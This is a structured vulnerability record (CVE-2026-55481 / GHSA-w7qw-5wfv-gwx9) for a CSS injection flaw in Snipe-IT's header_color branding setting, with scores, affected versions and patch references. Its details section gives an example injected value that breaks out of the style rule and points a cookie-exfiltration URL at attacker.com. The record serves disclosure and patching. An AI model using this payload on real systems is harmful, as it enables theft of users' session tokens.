{"id":"CVE-2026-55481","aliases":["CVE-2026-55481","GHSA-w7qw-5wfv-gwx9"],"related":[],"kind":"vulnerability","state":"published","title":"Snipe-IT: CSS Injection via `header_color` Setting","summary":"Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nBecause `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.\n\nAdditionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.\n\n\n### Details\nThe `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `<style>` block using Laravel's `{{ }}` syntax:\n\n```\n--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};\n```\n\nAlthough `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:\n\n```\n    #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {\n```\n\nThis breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.\n\n### Patches\nPatched in https://github.com/grokability/snipe-it/pull/19097\n\n### Workarounds\nEnable CSP in your .env file.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Snipe-IT es un sistema de gestión de activos/licencias de TI. Antes de la versión 8.6.2, default.blade.php renderiza la configuración de header_color y los ajustes de color de marca relacionados dentro de un bloque de estilo CSS con un escape HTML que es insuficiente para el contexto CSS, permitiendo a un superadministrador inyectar CSS arbitrario que afecta a los usuarios autenticados en cargas de página posteriores cuando la Política de Seguridad de Contenido está deshabilitada. Este problema se soluciona en la versión 8.6.2.","source":"nvd"}],"published":"2026-07-10T19:45:14.984Z","modified":"2026-10-25T15:10:00.147Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":6.2,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":6.2,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 8.6.2","status":"affected"}],"vendor":"grokability","product":"snipe-it","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"8.6.2"}],"ecosystem":"Packagist","package":"snipe/snipe-it","purl":"pkg:composer/snipe/snipe-it","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"8.6.2"}],"vendor":"snipeitapp","product":"snipe-it","cpe":"cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/grokability/snipe-it/security/advisories/GHSA-w7qw-5wfv-gwx9","tags":["patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/grokability/snipe-it/pull/19097","tags":["issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/grokability/snipe-it/releases/tag/v8.6.2","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55481","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/grokability/snipe-it","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-07-14T13:51:23.769Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55481","url":"https://www.cve.org/CVERecord?id=CVE-2026-55481","licence":"CVE Terms of Use","modified":"2026-07-14T13:51:35.022Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w7qw-5wfv-gwx9","url":"https://github.com/advisories/GHSA-w7qw-5wfv-gwx9","licence":"CC-BY-4.0","modified":"2026-08-28T18:15:06.226Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55481","licence":"Public domain","modified":"2026-10-25T15:10:00.147Z"}],"updatedAt":"2026-11-25T22:59:27.676Z","epss":{"score":0.00236,"percentile":0.15561,"date":"2026-12-01T12:00:22.000Z"}}